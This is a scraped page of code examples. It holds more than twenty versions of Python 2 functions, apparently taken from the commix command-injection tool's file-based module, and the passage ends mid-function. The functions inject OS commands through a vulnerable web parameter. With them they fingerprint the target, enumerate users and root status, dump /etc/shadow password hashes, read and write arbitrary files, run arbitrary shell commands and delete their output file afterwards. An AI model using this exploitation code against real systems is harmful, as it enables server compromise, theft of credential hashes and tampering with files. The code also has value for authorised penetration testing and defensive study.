Beispiel #1
0
def system_information(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):  
  cmd = settings.RECOGNISE_OS     
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  if target_os:
    if menu.options.verbose:
      print ""
    target_os = "".join(str(p) for p in target_os)
    if target_os == "Linux":
      cmd = settings.RECOGNISE_HP
      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
      target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
      if target_arch:
        if menu.options.verbose:
          print "" 
        target_arch = "".join(str(p) for p in target_arch)
        sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
        sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
        sys.stdout.flush()
       # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write("    (!) The target operating system is " + target_os)
        output_file.write(" and the hardware platform is " + target_arch + ".\n")
        output_file.close()
    else:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.    
      output_file = open(filename, "a")
      output_file.write("    (!) The target operating system is " + target_os + ".\n")
      output_file.close()
Beispiel #2
0
def file_write(separator, payload, TAG, delay, prefix, suffix,
               http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
               alter_shell):
    file_to_write = menu.options.file_write
    if not os.path.exists(file_to_write):
        sys.stdout.write("\n" + Fore.YELLOW +
                         "(^) Warning: It seems that the '" + file_to_write +
                         "' file, does not exists." + Style.RESET_ALL)
        sys.stdout.flush()
        sys.exit(0)

    if os.path.isfile(file_to_write):
        with open(file_to_write, 'r') as content_file:
            content = [line.replace("\n", " ") for line in content_file]
        content = "".join(str(p) for p in content).replace("'", "\"")
    else:
        sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that '" +
                         file_to_write + "' is not a file." + Style.RESET_ALL)
        sys.stdout.flush()

    # Check the file-destination
    if os.path.split(menu.options.file_dest)[1] == "":
        dest_to_write = os.path.split(
            menu.options.file_dest)[0] + "/" + os.path.split(
                menu.options.file_write)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
        dest_to_write = "/" + os.path.split(
            menu.options.file_dest)[1] + "/" + os.path.split(
                menu.options.file_write)[1]
    else:
        dest_to_write = menu.options.file_dest
    cmd = settings.FILE_WRITE + " '" + content + "'" + " > " + "'" + dest_to_write + "'"
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                     suffix, http_request_method, url,
                                     vuln_parameter, OUTPUT_TEXTFILE,
                                     alter_shell)
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)

    # Check if file exists!
    cmd = "echo $(ls " + dest_to_write + ")"
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                     suffix, http_request_method, url,
                                     vuln_parameter, OUTPUT_TEXTFILE,
                                     alter_shell)
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    if shell:
        if menu.options.verbose:
            print ""
        sys.stdout.write(Style.BRIGHT + "\n(!) The " + Style.UNDERLINE +
                         shell + Style.RESET_ALL + Style.BRIGHT +
                         " file was created successfully!\n" + Style.RESET_ALL)
        sys.stdout.flush()
    else:
        sys.stdout.write(
            "\n" + Fore.YELLOW +
            "(^) Warning: It seems that you don't have permissions to write the '"
            + dest_to_write + "' file." + Style.RESET_ALL)
        sys.stdout.flush()
Beispiel #3
0
def current_user(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
  cmd = settings.CURRENT_USER
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
  cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  if cu_account:
    cu_account = "".join(str(p) for p in cu_account)
    # Check if the user have super privileges.
    if menu.options.is_root:
      cmd = settings.ISROOT
      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
      shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
      if shell:
        shell = "".join(str(p) for p in shell)
        if menu.options.verbose:
          print ""
        sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
        if shell != "0":
            sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
            sys.stdout.flush()
        else:
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
    else:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
Beispiel #4
0
def system_information(separator, payload, TAG, delay, prefix, suffix,
                       http_request_method, url, vuln_parameter,
                       OUTPUT_TEXTFILE, alter_shell, filename):
    cmd = settings.RECOGNISE_OS
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                     suffix, http_request_method, url,
                                     vuln_parameter, OUTPUT_TEXTFILE,
                                     alter_shell, filename)
    target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    if target_os:
        if menu.options.verbose:
            print ""
        target_os = "".join(str(p) for p in target_os)
        if target_os == "Linux":
            cmd = settings.RECOGNISE_HP
            response = fb_injector.injection(separator, payload, TAG, cmd,
                                             prefix, suffix,
                                             http_request_method, url,
                                             vuln_parameter, OUTPUT_TEXTFILE,
                                             alter_shell, filename)
            target_arch = fb_injector.injection_results(
                url, OUTPUT_TEXTFILE, delay)
            if target_arch:
                if menu.options.verbose:
                    print ""
                target_arch = "".join(str(p) for p in target_arch)
                sys.stdout.write(Style.BRIGHT +
                                 "(!) The target operating system is " +
                                 Style.UNDERLINE + target_os + Style.RESET_ALL)
                sys.stdout.write(Style.BRIGHT +
                                 " and the hardware platform is " +
                                 Style.UNDERLINE + target_arch +
                                 Style.RESET_ALL + ".\n")
                sys.stdout.flush()
                # Add infos to logs file.
                output_file = open(filename, "a")
                output_file.write("    (!) The target operating system is " +
                                  target_os)
                output_file.write(" and the hardware platform is " +
                                  target_arch + ".\n")
                output_file.close()
        else:
            if menu.options.verbose:
                print ""
            sys.stdout.write(Style.BRIGHT +
                             "(!) The target operating system is " +
                             Style.UNDERLINE + target_os + Style.RESET_ALL +
                             ".\n")
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            output_file.write("    (!) The target operating system is " +
                              target_os + ".\n")
            output_file.close()
Beispiel #5
0
def do_check(separator,payload,TAG,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,delay):

  # Current user enumeration
  if menu.options.current_user:
    cmd = settings.CURRENT_USER
    response = fb_injector.injection(separator,payload,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE)			  
    shell = fb_injector.injection_results(url,OUTPUT_TEXTFILE,delay)
    if shell:
      if menu.options.verbose:
	print ""
      shell = "".join(str(p) for p in shell)
      print "  (+) Current User : "******""

  # Is-root enumeration
  if menu.options.is_root:
    cmd = settings.ISROOT
    response = fb_injector.injection(separator,payload,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE)			  
    shell = fb_injector.injection_results(url,OUTPUT_TEXTFILE,delay)
    if shell:
      sys.stdout.write( "  (+) Current user is root :")
      sys.stdout.flush()
      shell = "".join(str(p) for p in shell)
      if shell != "0":
	print colors.RED + " FALSE "+colors.RESET
      else:
	print colors.GREEN + " TRUE "+colors.RESET 

  # Hostname enumeration
  if menu.options.hostname:
    cmd = settings.HOSTNAME
    response = fb_injector.injection(separator,payload,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE)			  
    shell = fb_injector.injection_results(url,OUTPUT_TEXTFILE,delay)
    if shell:
      if menu.options.verbose:
	print ""
      shell = "".join(str(p) for p in shell)
      print "  (+) Hostname : "+ colors.YELLOW + colors.BOLD +  shell + colors.RESET + ""
      
  # Single os-shell execution
  if menu.options.os_shell:
    cmd =  menu.options.os_shell
    response = fb_injector.injection(separator,payload,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE)		  
    shell = fb_injector.injection_results(url,OUTPUT_TEXTFILE,delay)
    if shell:
      if menu.options.verbose:
	print ""
      shell = "".join(str(p) for p in shell)
      print "\n" + colors.GREEN + colors.BOLD + shell + colors.RESET
      sys.exit(0)
    
# eof
Beispiel #6
0
def file_read(separator, payload, TAG, delay, prefix, suffix,
              http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
              alter_shell, filename):
    file_to_read = menu.options.file_read
    # Execute command
    cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                     suffix, http_request_method, url,
                                     vuln_parameter, OUTPUT_TEXTFILE,
                                     alter_shell, filename)
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    if menu.options.verbose:
        print ""
    if shell:
        sys.stdout.write(Style.BRIGHT + "(!) The contents of file '" +
                         Style.UNDERLINE + file_to_read + Style.RESET_ALL +
                         "' : ")
        sys.stdout.flush()
        print shell
        output_file = open(filename, "a")
        output_file.write("    (!) The contents of file '" + file_to_read +
                          "' : " + shell + ".\n")
        output_file.close()
    else:
        sys.stdout.write(
            Fore.YELLOW +
            "(^) Warning: It seems that you don't have permissions to read the '"
            + file_to_read + "' file." + Style.RESET_ALL + "\n")
        sys.stdout.flush()
Beispiel #7
0
def system_passwords(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):  
  cmd = settings.SYS_PASSES    
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  if sys_passes :
    sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
    sys.stdout.flush()
    sys_passes = "".join(str(p) for p in sys_passes)
    sys_passes = sys_passes.replace("(@)", "\n")
    sys_passes = sys_passes.split( )
    if len(sys_passes) != 0 :
      sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
      sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" )
      output_file.close()
      count = 0
      for line in sys_passes:
        count = count + 1
        fields = line.split(":")
        if fields[1] != "*" and fields[1] != "!!" and fields[1] != "":
          print "  ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
         # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write("      ("+str(count)+") " + fields[0] + " : " + fields[1])
          output_file.close()  
    else:
      sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
      sys.stdout.flush()
      print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL
Beispiel #8
0
def delete_previous_shell(separator, payload, TAG, prefix, suffix,
                          http_request_method, url, vuln_parameter,
                          OUTPUT_TEXTFILE, alter_shell, filename):
    cmd = "rm " + settings.SRV_ROOT_DIR + OUTPUT_TEXTFILE
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                     suffix, http_request_method, url,
                                     vuln_parameter, OUTPUT_TEXTFILE,
                                     alter_shell, filename)
Beispiel #9
0
def single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
  cmd =  menu.options.os_cmd
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
  shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  if shell:
    if menu.options.verbose:
      print ""
    shell = " ".join(str(p) for p in shell)
    print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
Beispiel #10
0
def system_users(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): 
  cmd = settings.SYS_USERS             
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  sys_users = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  if sys_users :
    sys_users = "".join(str(p) for p in sys_users)
    sys_users = sys_users.replace("(@)", "\n")
    sys_users = sys_users.split( )
    if len(sys_users) != 0 :
      if menu.options.verbose:
        print ""
      sys.stdout.write("(*) Fetching '" + settings.PASSWD_FILE + "' to enumerate users entries... ")
      sys.stdout.flush()
      sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n" + Style.RESET_ALL)
      sys.stdout.flush()
      output_file = open(filename, "a")
      output_file.write("    (!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n")
      output_file.close()
      count = 0
      for line in sys_users:
        count = count + 1
        fields = line.split(":")
        # System users privileges enumeration
        if menu.options.privileges:
          if int(fields[1]) == 0:
            is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " root user "
            is_privilleged_nh = " is root user "
          elif int(fields[1]) > 0 and int(fields[1]) < 99 :
            is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " system user "
            is_privilleged_nh = " is system user "
          elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
            if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
              is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " anonymous user "
              is_privilleged_nh = " is anonymous user "
            elif int(fields[1]) == 60002:
              is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " non-trusted user "
              is_privilleged_nh = " is non-trusted user "   
            else:
              is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " regular user "
              is_privilleged_nh = " is regular user "
          else :
            is_privilleged = ""
            is_privilleged_nh = ""
        else :
          is_privilleged = ""
          is_privilleged_nh = ""
        print "  ("+str(count)+") '" + Style.BRIGHT + Style.UNDERLINE + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'." 
        # Add infos to logs file.   
        output_file = open(filename, "a")
        output_file.write("      ("+str(count)+") '" + fields[0]+ "'" + is_privilleged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
        output_file.close()
    else:
      sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
      sys.stdout.flush()
      print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "'." + Style.RESET_ALL
Beispiel #11
0
def single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
  cmd =  menu.options.os_cmd
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
  shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  if shell:
    shell = " ".join(str(p) for p in shell)
    if shell != "":
      print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL 
    else:
      print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL
  sys.exit(0)
Beispiel #12
0
def hostname(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
  cmd = settings.HOSTNAME
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
  shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  if shell:
    if menu.options.verbose:
      print ""
    shell = "".join(str(p) for p in shell)
    if not menu.options.verbose:
      print ""
    sys.stdout.write(Style.BRIGHT + "(!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
    sys.stdout.flush()
Beispiel #13
0
def file_write(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
  file_to_write = menu.options.file_write
  if not os.path.exists(file_to_write):
    sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that the '"+ file_to_write + "' file, does not exists." + Style.RESET_ALL)
    sys.stdout.flush()
    sys.exit(0)
    
  if os.path.isfile(file_to_write):
    with open(file_to_write, 'r') as content_file:
      content = [line.replace("\n", " ") for line in content_file]
    content = "".join(str(p) for p in content).replace("'", "\"")
  else:
    sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that '"+ file_to_write + "' is not a file." + Style.RESET_ALL)
    sys.stdout.flush()
    
  # Check the file-destination
  if os.path.split(menu.options.file_dest)[1] == "" :
    dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
  elif os.path.split(menu.options.file_dest)[0] == "/":
    dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
  else:
    dest_to_write = menu.options.file_dest
  cmd = settings.FILE_WRITE + " '"+ content + "'" + " > " + "'"+ dest_to_write + "'"
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
  shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  shell = "".join(str(p) for p in shell)
  
  # Check if file exists!
  cmd = "echo $(ls " + dest_to_write + ")"
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
  shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  shell = "".join(str(p) for p in shell)
  if shell:
    if menu.options.verbose:
      print ""
    sys.stdout.write(Style.BRIGHT + "\n(!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!\n" + Style.RESET_ALL)
    sys.stdout.flush()
  else:
   sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to write the '"+ dest_to_write + "' file." + Style.RESET_ALL)
   sys.stdout.flush()
Beispiel #14
0
def file_read(
    separator,
    payload,
    TAG,
    delay,
    prefix,
    suffix,
    http_request_method,
    url,
    vuln_parameter,
    OUTPUT_TEXTFILE,
    alter_shell,
):
    file_to_read = menu.options.file_read
    # Execute command
    cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
    response = fb_injector.injection(
        separator,
        payload,
        TAG,
        cmd,
        prefix,
        suffix,
        http_request_method,
        url,
        vuln_parameter,
        OUTPUT_TEXTFILE,
        alter_shell,
    )
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    if shell:
        if menu.options.verbose:
            print ""
        sys.stdout.write(
            Style.BRIGHT + "(!) Contents of file " + Style.UNDERLINE + file_to_read + Style.RESET_ALL + " : "
        )
        sys.stdout.flush()
        print shell
    else:
        sys.stdout.write(
            "\n"
            + Back.RED
            + "(x) Error: It seems that you don't have permissions to read the '"
            + file_to_read
            + "' file."
            + Style.RESET_ALL
        )
        sys.stdout.flush()
Beispiel #15
0
def delete_previous_shell(separator, payload, TAG, prefix, suffix,
                          http_request_method, url, vuln_parameter,
                          OUTPUT_TEXTFILE, alter_shell):
    cmd = "rm " + OUTPUT_TEXTFILE
    response = fb_injector.injection(separator,
                                     payload,
                                     TAG,
                                     cmd,
                                     prefix,
                                     suffix,
                                     http_request_method,
                                     url,
                                     vuln_parameter,
                                     OUTPUT_TEXTFILE,
                                     alter_shell=None)
Beispiel #16
0
def single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix,
                       http_request_method, url, vuln_parameter,
                       OUTPUT_TEXTFILE, alter_shell, filename):
    cmd = menu.options.os_cmd
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                     suffix, http_request_method, url,
                                     vuln_parameter, OUTPUT_TEXTFILE,
                                     alter_shell, filename)
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    if shell:
        shell = " ".join(str(p) for p in shell)
        if shell != "":
            print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
        else:
            print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL
    sys.exit(0)
Beispiel #17
0
def delete_previous_shell(
    separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell
):
    cmd = "rm " + OUTPUT_TEXTFILE
    response = fb_injector.injection(
        separator,
        payload,
        TAG,
        cmd,
        prefix,
        suffix,
        http_request_method,
        url,
        vuln_parameter,
        OUTPUT_TEXTFILE,
        alter_shell=None,
    )
Beispiel #18
0
def system_passwords(separator, payload, TAG, delay, prefix, suffix,
                     http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
                     alter_shell, filename):
    cmd = settings.SYS_PASSES
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                     suffix, http_request_method, url,
                                     vuln_parameter, OUTPUT_TEXTFILE,
                                     alter_shell, filename)
    sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    if sys_passes:
        sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE +
                         "' to enumerate users password hashes... ")
        sys.stdout.flush()
        sys_passes = "".join(str(p) for p in sys_passes)
        sys_passes = sys_passes.replace("(@)", "\n")
        sys_passes = sys_passes.split()
        if len(sys_passes) != 0:
            sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL +
                             " ]")
            sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
                             str(len(sys_passes)) + " entries in '" +
                             settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
            sys.stdout.flush()
            # Add infos to logs file.
            output_file = open(filename, "a")
            output_file.write("    (!) Identified " + str(len(sys_passes)) +
                              " entries in '" + settings.SHADOW_FILE + "'.\n")
            output_file.close()
            count = 0
            for line in sys_passes:
                count = count + 1
                fields = line.split(":")
                if fields[1] != "*" and fields[1] != "!!" and fields[1] != "":
                    print "  (" + str(count) + ") " + Style.BRIGHT + fields[
                        0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[
                            1] + Style.RESET_ALL
                    # Add infos to logs file.
                    output_file = open(filename, "a")
                    output_file.write("      (" + str(count) + ") " +
                                      fields[0] + " : " + fields[1])
                    output_file.close()
        else:
            sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
                             " ]")
            sys.stdout.flush()
            print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL
Beispiel #19
0
def file_read(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
  shell = "".join(str(p) for p in shell)
  if menu.options.verbose:
    print ""
  if shell:
    sys.stdout.write(Style.BRIGHT + "(!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : ")
    sys.stdout.flush()
    print shell
    output_file = open(filename, "a")
    output_file.write("    (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
    output_file.close()
  else:
   sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read the '"+ file_to_read + "' file." + Style.RESET_ALL + "\n")
   sys.stdout.flush()
Beispiel #20
0
def hostname(separator, payload, TAG, delay, prefix, suffix,
             http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
             alter_shell, filename):
    cmd = settings.HOSTNAME
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                     suffix, http_request_method, url,
                                     vuln_parameter, OUTPUT_TEXTFILE,
                                     alter_shell, filename)
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    if shell:
        if menu.options.verbose:
            print ""
        shell = "".join(str(p) for p in shell)
        if not menu.options.verbose:
            print ""
        sys.stdout.write(Style.BRIGHT + "(!) The hostname is " +
                         Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
        sys.stdout.flush()
        # Add infos to logs file.
        output_file = open(filename, "a")
        output_file.write("    (!) The hostname is " + shell + ".\n")
        output_file.close()
Beispiel #21
0
def do_check(separator, payload, TAG, prefix, suffix, http_request_method, url,
             vuln_parameter, OUTPUT_TEXTFILE, delay):

    # Current user enumeration
    if menu.options.current_user:
        cmd = settings.CURRENT_USER
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                         suffix, http_request_method, url,
                                         vuln_parameter, OUTPUT_TEXTFILE)
        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if shell:
            if menu.options.verbose:
                print ""
            shell = "".join(str(p) for p in shell)
            print "  (+) Current User : "******""

    # Is-root enumeration
    if menu.options.is_root:
        cmd = settings.ISROOT
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                         suffix, http_request_method, url,
                                         vuln_parameter, OUTPUT_TEXTFILE)
        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if shell:
            sys.stdout.write("  (+) Current user is root :")
            sys.stdout.flush()
            shell = "".join(str(p) for p in shell)
            if shell != "0":
                print colors.RED + " FALSE " + colors.RESET
            else:
                print colors.GREEN + " TRUE " + colors.RESET

    # Hostname enumeration
    if menu.options.hostname:
        cmd = settings.HOSTNAME
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                         suffix, http_request_method, url,
                                         vuln_parameter, OUTPUT_TEXTFILE)
        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if shell:
            if menu.options.verbose:
                print ""
            shell = "".join(str(p) for p in shell)
            print "  (+) Hostname : " + colors.YELLOW + colors.BOLD + shell + colors.RESET + ""

    # Single os-shell execution
    if menu.options.os_shell:
        cmd = menu.options.os_shell
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                         suffix, http_request_method, url,
                                         vuln_parameter, OUTPUT_TEXTFILE)
        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if shell:
            if menu.options.verbose:
                print ""
            shell = "".join(str(p) for p in shell)
            print "\n" + colors.GREEN + colors.BOLD + shell + colors.RESET
            sys.exit(0)


# eof
def do_check(separator,payload,TAG,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,delay):

  #  Read file
  if menu.options.file_read:
    file_to_read = menu.options.file_read
    cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
    response = fb_injector.injection(separator,payload,TAG,cmd,prefix,suffix,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE)
    shell = fb_injector.injection_results(url,OUTPUT_TEXTFILE,delay)
    shell = "".join(str(p) for p in shell)
    if shell:
      if menu.options.verbose:
	print ""
      sys.stdout.write(colors.BOLD + "(!) Contents of file " + colors.UNDERL + file_to_read + colors.RESET + " : ")
      sys.stdout.flush()
      print shell
    else:
     sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that you don't have permissions to read the '"+ file_to_read + "' file.\n" + colors.RESET)
     sys.stdout.flush()
     
  #  Write file
  if menu.options.file_write:
    file_to_write = menu.options.file_write
    if not os.path.exists(file_to_write):
      sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that the '"+ file_to_write + "' does not exists." + colors.RESET)
      sys.stdout.flush()
      sys.exit(0)
      
    if os.path.isfile(file_to_write):
      with open(file_to_write, 'r') as content_file:
	content = [line.replace("\n", " ") for line in content_file]
      content = "".join(str(p) for p in content).replace("'","\"")
    else:
      sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that '"+ file_to_write + "' is not a file." + colors.RESET)
      sys.stdout.flush()
      
    # Check the file-destination
    if os.path.split(menu.options.file_dest)[1] == "" :
      dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
    elif os.path.split(menu.options.file_dest)[0] == "/":
